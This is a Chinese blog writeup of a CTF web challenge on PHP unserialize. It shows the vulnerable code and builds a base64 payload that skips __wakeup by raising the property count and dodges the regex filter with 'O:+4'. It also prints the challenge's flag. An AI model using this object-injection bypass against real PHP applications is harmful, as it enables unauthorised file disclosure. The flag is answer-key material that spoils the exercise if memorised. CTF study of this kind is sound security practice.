攻防世界web Web_php_unserialize writeup

原创

Sprint#51264 于 2020-07-22 05:42:17 发布 116 收藏 1

本文链接：https://blog.csdn.net/qq_45837896/article/details/107503276

首先看题目标题易得知这题要用到的一定是有关反序列化的知识。

先前做过一道类似的题叫做unserialize3。

与unserialize函数有关的另一个函数是_wakeup()魔术方法，就是说，在执行unserialize函数之前会检查是否有定义好的_wakeup()函数，如果有，那么会先调用wakeup()函数。

然后我们来代码审计。

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```


有一个Demo类，里面有三个函数，

一个是构造函数_construct()，该函数将会引用传入的参数覆盖原先的$file值。

一个是析构函数_destruct()，在Demo类销毁时调用该函数，使文件语法高亮，也就是展现文件内容。

还有一个就是魔术方法_wakeup()，调用unserialize之前调用该函数，又把文件指向index.php。

下面还有一段if判断，如果进行了var传参那么将会执行判定，

先是把var进行base64解码，然后再进行一个正则匹配，还有一个反序列化函数。

根据代码段显示，flag就在fl4g.php这个文件里，要想显示其内容，那么传参var就要：

1.先序列化
2.阻止_wakeup()函数的执行
3.绕过正则
4.进行base64编码

那么先把该Demo类实例化

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo($b);
?>
```

得到序列化后的var

```
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
```

要想阻止_wakeup()函数执行，就要知道如果被反序列话的字符串其中对应的对象的属性个数发生变化时，会导致反序列化失败而同时使得__wakeup失效。

也就是说原先对象属性个数为1，我们把它改成2

```
O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
```

就可以成功地绕过wakeup函数

然后要绕过正则匹配，可以用+4代替4（雾，没搞懂）

```
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
```

```php
$b=str_replace(':1:',':2:',$b);

$b=str_replace(':4:',':+4:',$b);

echo(base64_encode($b));
```

得到最终var

```
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
```

进行传参得到flag

```php
<?php
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
?>
```